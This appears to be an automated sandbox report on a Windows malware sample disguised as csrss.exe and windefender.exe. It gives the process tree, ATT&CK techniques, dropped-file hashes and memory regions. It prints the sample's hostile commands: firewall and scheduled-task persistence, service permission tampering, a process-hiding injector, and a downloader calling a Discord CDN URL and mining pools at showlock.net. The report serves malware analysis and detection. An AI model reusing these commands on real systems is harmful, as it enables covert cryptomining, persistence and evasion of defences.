acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe csrss.exe PID 2704 wrote to memory of 4720 2704 acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe csrss.exe PID 2704 wrote to memory of 4720 2704 acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe csrss.exe PID 4720 wrote to memory of 4072 4720 csrss.exe powershell.exe PID 4720 wrote to memory of 4072 4720 csrss.exe powershell.exe PID 4720 wrote to memory of 4072 4720 csrss.exe powershell.exe PID 4720 wrote to memory of 5056 4720 csrss.exe powershell.exe PID 4720 wrote to memory of 5056 4720 csrss.exe powershell.exe PID 4720 wrote to memory of 5056 4720 csrss.exe powershell.exe PID 4720 wrote to memory of 1192 4720 csrss.exe powershell.exe PID 4720 wrote to memory of 1192 4720 csrss.exe powershell.exe PID 4720 wrote to memory of 1192 4720 csrss.exe powershell.exe PID 4720 wrote to memory of 4664 4720 csrss.exe injector.exe PID 4720 wrote to memory of 4664 4720 csrss.exe injector.exe PID 4144 wrote to memory of 2464 4144 windefender.exe cmd.exe PID 4144 wrote to memory of 2464 4144 windefender.exe cmd.exe PID 4144 wrote to memory of 2464 4144 windefender.exe cmd.exe PID 2464 wrote to memory of 4424 2464 cmd.exe sc.exe PID 2464 wrote to memory of 4424 2464 cmd.exe sc.exe PID 2464 wrote to memory of 4424 2464 cmd.exe sc.exe PID 4720 wrote to memory of 4424 4720 csrss.exe powershell.exe PID 4720 wrote to memory of 4424 4720 csrss.exe powershell.exe PID 4720 wrote to memory of 4424 4720 csrss.exe powershell.exe PID 4720 wrote to memory of 196 4720 csrss.exe dcb505dc2b9d8aac05f4ca0727f5eadb.exe PID 4720 wrote to memory of 196 4720 csrss.exe dcb505dc2b9d8aac05f4ca0727f5eadb.exe PID 4720 wrote to memory of 196 4720 csrss.exe dcb505dc2b9d8aac05f4ca0727f5eadb.exe PID 4720 wrote to memory of 60 4720 csrss.exe powershell.exe PID 4720 wrote to memory of 60 4720 csrss.exe powershell.exe PID 4720 wrote to memory of 60 4720 csrss.exe powershell.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe"C:\Users\Admin\AppData\Local\Temp\acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe"C:\Users\Admin\AppData\Local\Temp\acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe"2⤵
- Windows security bypass
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
- Manipulates WinMonFS driver.
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)6⤵
- Launches sc.exe
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exeC:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:804⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exeC:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe -o showlock.net:40001 --rig-id b42f9a09-c8f9-497f-af47-ecd0e9c27bc9 --tls --nicehash -o showlock.net:443 --rig-id b42f9a09-c8f9-497f-af47-ecd0e9c27bc9 --tls --nicehash -o showlock.net:80 --rig-id b42f9a09-c8f9-497f-af47-ecd0e9c27bc9 --nicehash --http-port 3433 --http-access-token b42f9a09-c8f9-497f-af47-ecd0e9c27bc9 --randomx-wrmsr=-15⤵
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe -hide 35885⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exeC:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exeC:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe4⤵
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
Network
MITRE ATT&CK Matrix ATT&CK v13
Persistence
Create or Modify System Process
1Windows Service
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Privilege Escalation
Create or Modify System Process
1Windows Service
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kmhwkpb3.3pt.ps1Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exeFilesize
1.4MB
MD50f170285d2a2c24727de987daaec1ba1
SHA144559c20815009ab17e546f600433c438ad7441c
SHA256dbea8c2bb7820fa82ef2882da76a61a181e6a1b549ed3928c7e0fa4fc25983ed
SHA512c0867e141ef0adfb5fd51ab8450d8ba7e6b1a7e0bf7ece3cfe27ce90de470373380fad09b54891f11c8950e2853a437a1d5c82b80c27b3d5e6ed31ad14ad8af9
-
C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exeFilesize
896KB
MD514cffd1df94d9c386cd79b6b73434753
SHA1e89fbcf94160a59495e8bdfe9d141a1c3753ce82
SHA2560eaa9703b3ebe1b37ba376846fc52e41b3ce1ce332adb6f4ff48391bea2ba9f4
SHA5120b86a18bb80b6acbbf13112524498c600ebfd3277ef2752042cf854527171d670fa6d5624aedad59b7f6568e0c2d6d5d2a7f498c5b4fbc97cb994ddc7e37063f
-
C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exeFilesize
2.8MB
MD5713674d5e968cbe2102394be0b2bae6f
SHA190ac9bd8e61b2815feb3599494883526665cb81e
SHA256f724b2849e7dc38bf62114c11092020073bea509e2bc57dea7a94a2fc9c23057
SHA512e9fba80067ac39d5907560abd044bb97dfcf078db2b6696ff4ca5990d9803a0c24b39d04e05682ac3dac8bc472e2ee0c573a46514e907f4d9673d4e7a76caafb
-
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exeFilesize
2.0MB
MD5dcb505dc2b9d8aac05f4ca0727f5eadb
SHA14f633edb62de05f3d7c241c8bc19c1e0be7ced75
SHA25661f9194b9f33611ec902f02755cf2e86f0bbc84c2102c6e5d1874f9bae78e551
SHA51231e1fce9aca3b5d9afc85640af04b4542b9897f7d60b699e3153516137d9358d3c101cacc04e9e594e36b8622e9489cecf0dda210662563565d80fb9a33549b3
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeFilesize
281KB
MD5d98e33b66343e7c96158444127a117f6
SHA1bb716c5509a2bf345c6c1152f6e3e1452d39d50d
SHA2565de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1
SHA512705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5
-
C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exeFilesize
5.2MB
MD54f649a57b7ddf3874c9a2163a73e9b07
SHA19c966520ba8233f13f168cade548baf5a30823ba
SHA256830afffc7dd32e007736f0d97e8d02f68f80988266e68e3de3250aa189ac8491
SHA512b2374bac551b0d4e87f38eb0090a9df0705a8600667fecba6a94e5c67ff93fc8b4707a905ce0e5ef0909e91b04dc01d74c21887a5b5958b8b2fd01faed253aac
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.logFilesize
2KB
MD51c19c16e21c97ed42d5beabc93391fc5
SHA18ad83f8e0b3acf8dfbbf87931e41f0d664c4df68
SHA2561bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05
SHA5127d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD503de7f71906b4abff9eaece4bc73e209
SHA1b49954c946b11588c492d3d3fd53013d9dad41d8
SHA2564ceeef443d27b0f4a428b1b7f048fbb99044ff72c78cc1956b17e5a2266a9755
SHA512c60cce8bc0ed3be41e9b86b553d8191254f2511a1e248651cba7cd17791f5c85ad2f1c66fb35595783685927f403546ace3ab7e5eefd704ded42eb580486ca43
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD57693b06a79057c66a3081ce740255a35
SHA1cbd6c3113e2fde6cbb62679692e1dbe0bb425f72
SHA256d75a13250515e4bdf70b6105fef75ab951c8ae5766174fb5cf8f2081e49277ef
SHA5126d3e31a8ab617c002e188809a3d75269766542daee2ef2cefb27aaa59323e9f3241d31c853e88c59a086f9598742e3b0d468341c1be442edd0045092cd30e84f
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD550ed57f0f04682b0b11a204c41f35206
SHA1ce73c951019b2348879fd989e5a4019c60619090
SHA256329a33f012b3e46d15262590813c18f5ac3531e6b24cf6231a67b8d5a2b8e0d5
SHA51224ed415f058c30af49b93af55dc48358ab064a54752f8c89f237bf40b441070a1fce742464092af86a17e9037ac22c4dce4cf65fbcecfe35dc6ecb6e193f9587
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD5cbcb2cbed23435b545d8f995d200978d
SHA1ad886a6c0cab8d4dd09acbb8b75f216cda96359c
SHA25633395b76898a9466c0e2532d7df9545847f6372332efdba96faaaa43b7e9ef71
SHA512a2f19e4034024d0f771fa9e2eb11fc1327d8b2e0904950eb0d5c8eefc90ae30703ead8a5d46bb32662503a3cc780ccf129c632f64c31f1441c657f86ae504d0b
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD57b2548d818dd79f580b214da6e97ac00
SHA11b06caec064ba53841374d20f88d4d8cdd713bea
SHA2565729def3acaa0c0f4c781f906d755c83ffe8e77d674330d436b15be06ffead9f
SHA51203a038ecd49c6aae9c7384712762a68be0f1e0843c3a76f8034e99a2deec1a4d310baaa2fb6167f723f9d6be3742cf99374c2b04553b314bddcc1f668710f657
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD5d07f8b68aacf18f511cb0707eaf73d17
SHA128007e0117e7d812c90bde47f8765752432cb0a7
SHA256e5a664a0d70b7d064597dbb8df10a00a0d53c69f497088ffa46312e145ea2e2c
SHA5123c5c26fd9cebd97f275c4eece90e0cd34e6a47095f1731be65d5e9b53069b050f15d5192837adb71861742cea24e111cd5ab7d268fa2fffe023490ef84e7e01d
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD51c7b8e64ca308789761d6b600d6b996c
SHA1075e16b930e0fdadc90846b99aaca273e2b0754f
SHA25660c721ea2760c410598067c55fe6c90db246da5a0c957d94805ce8774348c854
SHA512be799eb624f107a0fc379e6c09ceda4df1abad38414640cf82dbc5b5e5cb550e93e8be2c58af03e53c845cbdd474da75cc0b197fd059fcef5e80063a6dcbf182
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD5fe355d28c1f806ed529794f1fa1d6cc1
SHA1a78ff8bd40084a31c91c4218ae16af78732c2696
SHA256a2340fd3913b3419489d7e422902da1803228b0348bd13146a7d5abc8ec7d788
SHA512c557d76481d20888faf199a5f67f87cd2112bb5637589c6407d82609c68331b73e3c0572f559dc926677506869e06184162fe029d450e493ac089be1ce897437
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD5acbd8f0989b0617f54bae1c2e57028e5
SHA1b54882ef224ee0e593a2ab7c7e9294fa47455f36
SHA256495184b5eefa1708a333a6d1eb3cd34169beafa91282ac89e7f71bbaa88b36fb
SHA512508f7d7db6c86735f72564ad35261585deaa86713e0fda57def75c044dd2c8c08c0051395f5518544f9bc08ba08c390a44ffb86eede447ff26ba2668e0fbf076
-
C:\Windows\rss\csrss.exeFilesize
4.2MB
MD549a9dd02764bfa2e7b291ead697ee2ad
SHA181586bd3beb9d9b0f39031294069baf101b82be6
SHA256acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c
SHA512a073ebcb32135740e37c1fbc0d76acf514a80df356a4a2ba791d6cc6646fc8854ee3ca9d16b305859b36b963751fb943dd4f802eaedb038ccf28a3e657d728c0
-
C:\Windows\windefender.exeFilesize
2.0MB
MD58e67f58837092385dcf01e8a2b4f5783
SHA1012c49cfd8c5d06795a6f67ea2baf2a082cf8625
SHA256166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa
SHA51240d8ae12663fc1851e171d9d86cea8bb12487b734c218d7b6f9742eb07d4ca265065cbd6d0bb908f8bda7e3d955c458dfe3fd13265bbf573b9351e0a2bf691ec
-
memory/196-2325-0x0000000000400000-0x00000000008E1000-memory.dmpFilesize
4.9MB
-
memory/2256-1798-0x0000000000400000-0x00000000008DF000-memory.dmpFilesize
4.9MB
-
memory/2256-1795-0x0000000000400000-0x00000000008DF000-memory.dmpFilesize
4.9MB
-
memory/2704-800-0x00000000033C0000-0x00000000037C4000-memory.dmpFilesize
4.0MB
-
memory/2704-1041-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/2704-306-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/2704-802-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/2704-304-0x00000000033C0000-0x00000000037C4000-memory.dmpFilesize
4.0MB
-
memory/3784-549-0x0000000072F10000-0x00000000735FE000-memory.dmpFilesize
6.9MB
-
memory/3784-333-0x000000006FC90000-0x000000006FFE0000-memory.dmpFilesize
3.3MB
-
memory/3784-339-0x0000000006F90000-0x0000000006FA0000-memory.dmpFilesize
64KB
-
memory/3784-338-0x0000000009880000-0x0000000009925000-memory.dmpFilesize
660KB
-
memory/3784-332-0x000000006FC40000-0x000000006FC8B000-memory.dmpFilesize
300KB
-
memory/3784-308-0x0000000072F10000-0x00000000735FE000-memory.dmpFilesize
6.9MB
-
memory/3784-310-0x0000000006F90000-0x0000000006FA0000-memory.dmpFilesize
64KB
-
memory/3784-309-0x0000000006F90000-0x0000000006FA0000-memory.dmpFilesize
64KB
-
memory/3784-311-0x0000000007D10000-0x0000000008060000-memory.dmpFilesize
3.3MB
-
memory/3784-312-0x0000000008330000-0x000000000837B000-memory.dmpFilesize
300KB
-
memory/3784-331-0x000000007F9A0000-0x000000007F9B0000-memory.dmpFilesize
64KB
-
memory/4064-554-0x00000000046C0000-0x00000000046D0000-memory.dmpFilesize
64KB
-
memory/4064-582-0x00000000046C0000-0x00000000046D0000-memory.dmpFilesize
64KB
-
memory/4064-795-0x0000000072F10000-0x00000000735FE000-memory.dmpFilesize
6.9MB
-
memory/4064-555-0x00000000046C0000-0x00000000046D0000-memory.dmpFilesize
64KB
-
memory/4064-553-0x0000000072F10000-0x00000000735FE000-memory.dmpFilesize
6.9MB
-
memory/4064-577-0x000000006FC90000-0x000000006FFE0000-memory.dmpFilesize
3.3MB
-
memory/4064-576-0x000000006FC40000-0x000000006FC8B000-memory.dmpFilesize
300KB
-
memory/4064-575-0x000000007EFA0000-0x000000007EFB0000-memory.dmpFilesize
64KB
-
memory/4072-1052-0x0000000008140000-0x0000000008490000-memory.dmpFilesize
3.3MB
-
memory/4072-1049-0x0000000005080000-0x0000000005090000-memory.dmpFilesize
64KB
-
memory/4072-1050-0x0000000072E70000-0x000000007355E000-memory.dmpFilesize
6.9MB
-
memory/4072-1048-0x0000000005080000-0x0000000005090000-memory.dmpFilesize
64KB
-
memory/4144-1792-0x0000000000400000-0x00000000008DF000-memory.dmpFilesize
4.9MB
-
memory/4328-76-0x000000006FB70000-0x000000006FEC0000-memory.dmpFilesize
3.3MB
-
memory/4328-14-0x0000000007A70000-0x0000000007DC0000-memory.dmpFilesize
3.3MB
-
memory/4328-6-0x0000000072E10000-0x00000000734FE000-memory.dmpFilesize
6.9MB
-
memory/4328-8-0x0000000006D20000-0x0000000006D30000-memory.dmpFilesize
64KB
-
memory/4328-282-0x000000000A000000-0x000000000A008000-memory.dmpFilesize
32KB
-
memory/4328-277-0x000000000A010000-0x000000000A02A000-memory.dmpFilesize
104KB
-
memory/4328-84-0x000000000A090000-0x000000000A124000-memory.dmpFilesize
592KB
-
memory/4328-7-0x0000000004A00000-0x0000000004A36000-memory.dmpFilesize
216KB
-
memory/4328-10-0x0000000006D20000-0x0000000006D30000-memory.dmpFilesize
64KB
-
memory/4328-9-0x0000000007360000-0x0000000007988000-memory.dmpFilesize
6.2MB
-
memory/4328-11-0x0000000007130000-0x0000000007152000-memory.dmpFilesize
136KB
-
memory/4328-12-0x0000000007A00000-0x0000000007A66000-memory.dmpFilesize
408KB
-
memory/4328-83-0x0000000006D20000-0x0000000006D30000-memory.dmpFilesize
64KB
-
memory/4328-82-0x0000000009E90000-0x0000000009F35000-memory.dmpFilesize
660KB
-
memory/4328-77-0x0000000009E30000-0x0000000009E4E000-memory.dmpFilesize
120KB
-
memory/4328-75-0x000000006FB20000-0x000000006FB6B000-memory.dmpFilesize
300KB
-
memory/4328-73-0x0000000009E50000-0x0000000009E83000-memory.dmpFilesize
204KB
-
memory/4328-74-0x000000007EA00000-0x000000007EA10000-memory.dmpFilesize
64KB
-
memory/4328-66-0x0000000008FE0000-0x0000000009056000-memory.dmpFilesize
472KB
-
memory/4328-35-0x0000000008F20000-0x0000000008F5C000-memory.dmpFilesize
240KB
-
memory/4328-16-0x0000000007F10000-0x0000000007F5B000-memory.dmpFilesize
300KB
-
memory/4328-15-0x0000000007EB0000-0x0000000007ECC000-memory.dmpFilesize
112KB
-
memory/4328-300-0x0000000072E10000-0x00000000734FE000-memory.dmpFilesize
6.9MB
-
memory/4328-13-0x00000000071D0000-0x0000000007236000-memory.dmpFilesize
408KB
-
memory/4432-1037-0x0000000072F10000-0x00000000735FE000-memory.dmpFilesize
6.9MB
-
memory/4432-828-0x0000000004720000-0x0000000004730000-memory.dmpFilesize
64KB
-
memory/4432-822-0x000000006FC40000-0x000000006FC8B000-memory.dmpFilesize
300KB
-
memory/4432-823-0x000000006FC90000-0x000000006FFE0000-memory.dmpFilesize
3.3MB
-
memory/4432-803-0x0000000004720000-0x0000000004730000-memory.dmpFilesize
64KB
-
memory/4432-798-0x0000000072F10000-0x00000000735FE000-memory.dmpFilesize
6.9MB
-
memory/4432-799-0x0000000004720000-0x0000000004730000-memory.dmpFilesize
64KB
-
memory/4720-1806-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/4720-1830-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/4720-1801-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/4720-1802-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/4720-1804-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/4720-2621-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/4720-1809-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/4720-1811-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/4720-1812-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/4720-1814-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/4720-1817-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/4720-1819-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/4720-1821-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/4720-1822-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/4720-1824-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/4720-1827-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/4720-1829-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/4720-1799-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/4720-1832-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/4720-1834-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/4720-1837-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/4720-1839-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/4720-1841-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/4720-1796-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/4720-1794-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/4720-2088-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/4720-1793-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/4720-1784-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/4720-1047-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/4720-1044-0x0000000003800000-0x0000000003BF9000-memory.dmpFilesize
4.0MB
-
memory/5036-303-0x0000000005130000-0x0000000005A1B000-memory.dmpFilesize
8.9MB
-
memory/5036-1-0x0000000003480000-0x0000000003883000-memory.dmpFilesize
4.0MB
-
memory/5036-301-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/5036-3-0x0000000000400000-0x000000000300A000-memory.dmpFilesize
44.0MB
-
memory/5036-2-0x0000000005130000-0x0000000005A1B000-memory.dmpFilesize
8.9MB